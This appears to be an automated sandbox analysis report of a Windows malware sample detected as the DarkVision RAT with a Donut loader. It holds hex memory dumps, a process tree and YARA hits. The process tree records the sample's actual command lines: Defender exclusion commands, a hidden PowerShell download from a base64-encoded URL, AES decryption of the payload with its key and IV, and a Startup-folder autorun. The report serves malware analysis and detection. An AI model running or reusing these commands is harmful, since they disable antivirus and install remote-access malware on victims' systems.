0d 00 48 89 44 24 20 48 83 7c 24 Data Ascii: HD$`Hc@HL$ HHHD$8HD$8HL$ HHD$8H8HL$8HAHD$8@HD$8@HD$8HL$`HI@HHHD$`HL$8HH@HD$`Hc@HL$ HHHD$ `HD$`Hx@tD$HD$HD$HHXL$H8HD$ %9D$@H0VH,HD$ H\|$
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: d2 8b 44 24 28 b9 08 00 00 00 f7 f1 8b c0 48 8b 4c 24 20 0f b6 44 01 10 8b 4c 24 28 83 e1 07 ba 01 00 00 00 d3 e2 8b ca 23 c1 85 c0 74 0a c7 44 24 08 01 00 00 00 eb 08 c7 44 24 08 00 00 00 00 8b 44 24 08 eb 68 eb 66 8b 44 24 28 33 d2 b9 7c 00 00 00 48 f7 f1 48 8b c2 89 44 24 04 8b 44 24 28 ff c0 89 44 24 28 8b 44 24 04 48 8b 4c 24 20 83 7c 81 10 00 74 35 8b 44 24 04 48 8b 4c 24 20 8b 54 24 28 39 54 81 10 75 07 b8 01 00 00 00 eb 1d 8b 44 24 04 ff c0 8b c0 33 d2 b9 7c 00 00 00 48 f7 f1 48 8b c2 89 44 24 04 eb bb 33 c0 48 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 58 c7 44 24 20 00 00 00 00 48 8b 44 24 60 48 8b 40 20 48 89 44 24 28 48 8b 44 24 28 0f b6 40 09 83 f8 02 0f 84 a9 00 00 00 48 8b 4c 24 28 e8 75 01 00 00 89 44 Data Ascii: D$(HL$ DL$(#tD$D$D$hfD$(3\|HHD$D$(D$(D$HL$ \|t5D$HL$ T$(9TuD$3\|HHD$3HHL$HXD$ HD$`H@ HD$(HD$(@HL$(uD
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 10 48 8b 4c 24 28 48 8b 44 24 30 ff 90 00 01 00 00 48 8b 4c 24 28 e8 37 bc ff ff 48 8b 44 24 30 48 8b 48 70 e8 f9 a2 00 00 8b 44 24 20 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 8b 44 24 08 0f bf 40 2e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 8b 44 24 08 48 8b 40 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 8b 44 24 08 48 8b 40 08 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 8b 44 24 08 0f b6 40 09 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 28 48 8b 4c 24 30 e8 7d 06 00 00 48 8b 44 24 30 0f bf 40 3c 85 c0 7c 26 48 8b 44 24 30 0f bf 40 3c 83 c0 03 8b d0 48 8b 4c 24 30 e8 28 00 00 00 b8 ff ff ff ff Data Ascii: HL$(HD$0HL$(7HD$0HHpD$ HHHL$HD$@.HL$HD$H@HHL$HD$H@HL$HD$@HL$H(HL$0}HD$0@<\|&HD$0@<HL$0(

Target ID:	0
Start time:	01:36:57
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x140000000
File size:	124'416 bytes
MD5 hash:	A3D68745E8919E2A48D8FA0738DA124E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:36:57
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff614bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:36:57
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:36:57
Start date:	09/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net session
Imagebase:	0x7ff7f29f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:36:57
Start date:	09/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 session
Imagebase:	0x7ff64eb30000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:36:57
Start date:	09/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:37:01
Start date:	09/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4='))) -OutFile 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:37:13
Start date:	09/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff643710000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:37:23
Start date:	09/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "$key = [System.Text.Encoding]::UTF8.GetBytes('blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9');" "$iv = [System.Text.Encoding]::UTF8.GetBytes('5t9nsUPo0cA/tUjH');" "$aes = [System.Security.Cryptography.Aes]::Create();" "$aes.Key = $key; $aes.IV = $iv;" "$decryptor = $aes.CreateDecryptor();" "$inputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.bin';" "$encryptedBytes = [System.IO.File]::ReadAllBytes($inputFile);" "$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);" "$outputFile = 'C:\Users\user\AppData\Local\Temp\downloaded_file.exe';" "[System.IO.File]::WriteAllBytes($outputFile, $decryptedBytes);"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 0000000C.00000002.1939596081.0000029E75DED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.1939596081.0000029E75DED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:37:25
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\downloaded_file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\downloaded_file.exe"
Imagebase:	0x300000
File size:	515'584 bytes
MD5 hash:	D60C9E070239F8C240AAA6D8832E11EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 0000000D.00000003.1947121395.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000003.1947121395.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 0000000D.00000000.1946141643.0000000000332000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000000.1946141643.0000000000332000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 0000000D.00000002.1957167452.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.1957167452.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: C:\Users\user\AppData\Local\Temp\downloaded_file.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:37:25
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'
Imagebase:	0x7ff614bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:37:25
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:37:25
Start date:	09/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\explorer.exe"
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkVisionRat, Description: Yara detected DarkVision Rat, Source: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	01:37:25
Start date:	09/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSystem\WindowsSystem.exe','C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:37:32
Start date:	09/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\EXPLORER.EXE {DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:37:34
Start date:	09/12/2024
Path:	C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe" ""
Imagebase:	0x7ff66ccc0000
File size:	2'887'168 bytes
MD5 hash:	56EC5472231866630749CCF6977C4FBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000013.00000002.2047760821.0000016DE66D1000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000013.00000002.2048053802.0000016DE6950000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000013.00000002.2047498175.0000016DE6452000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff70c000000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff70c000000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff70c000000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff70c000000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:37:35
Start date:	09/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat" "
Imagebase:	0x7ff614bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe"
Imagebase:	0x7ff66ccc0000
File size:	2'887'168 bytes
MD5 hash:	56EC5472231866630749CCF6977C4FBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000001F.00000002.2065498416.000001677AB40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000001F.00000002.2064926837.000001677A63A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000001F.00000002.2065257681.000001677A8C1000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff70c000000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff70c000000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff70c000000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff70c000000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:37:36
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:37:37
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	14.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.8%
Total number of Nodes:	813
Total number of Limit Nodes:	20

Executed Functions

Function 000000014000D9C4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

GetTempPathW.KERNEL32 ref: 000000014000D9F3
LoadLibraryW.KERNEL32 ref: 000000014000DA02
GetProcAddress.KERNEL32 ref: 000000014000DA1D
GetLongPathNameW.KERNELBASE(?,?,?,0000000140001F92), ref: 000000014000DA31
FreeLibrary.KERNEL32 ref: 000000014000DA38

Strings

Kernel32.DLL, xrefs: 000000014000D9F9
GetLongPathNameW, xrefs: 000000014000DA13

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 820969696-2943376620
Opcode ID: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction ID: 08c74a34c6d82e646fe97c561cc400b119dc1938ee8d5d8dcc972cb306c03a44
Opcode Fuzzy Hash: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction Fuzzy Hash: 17116D31721B4086EF159F27A9843A967A1FB8CFC0F481029EF4E4B7A5DE39C8528340

Function 0000000140001E57 Relevance: 9.3, APIs: 6, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 000000014000CA00: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0000000140002CF1), ref: 000000014000CA47

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 000000014000DA6C: SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
Part of subcall function 000000014000DA6C: DeleteFileW.KERNEL32 ref: 000000014000DA95

Part of subcall function 000000014000D914: wcsncpy.MSVCRT ref: 000000014000D932
Part of subcall function 000000014000D914: wcslen.MSVCRT ref: 000000014000D944
Part of subcall function 000000014000D914: CreateDirectoryW.KERNEL32 ref: 000000014000D994

GetTempFileNameW.KERNEL32 ref: 0000000140002040

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetTempFileNameW.KERNEL32 ref: 00000001400020C1
PathAddBackslashW.SHLWAPI ref: 00000001400020CD
PathRenameExtensionW.SHLWAPI ref: 000000014000212E
GetTempFileNameW.KERNEL32 ref: 0000000140002153

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: File$NameTemp$Heap$AllocErrorLastPathValue$AttributesBackslashCreateDeleteDirectoryExtensionFreeRenamememmovewcslenwcsncpy
String ID:
API String ID: 4232179356-0
Opcode ID: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
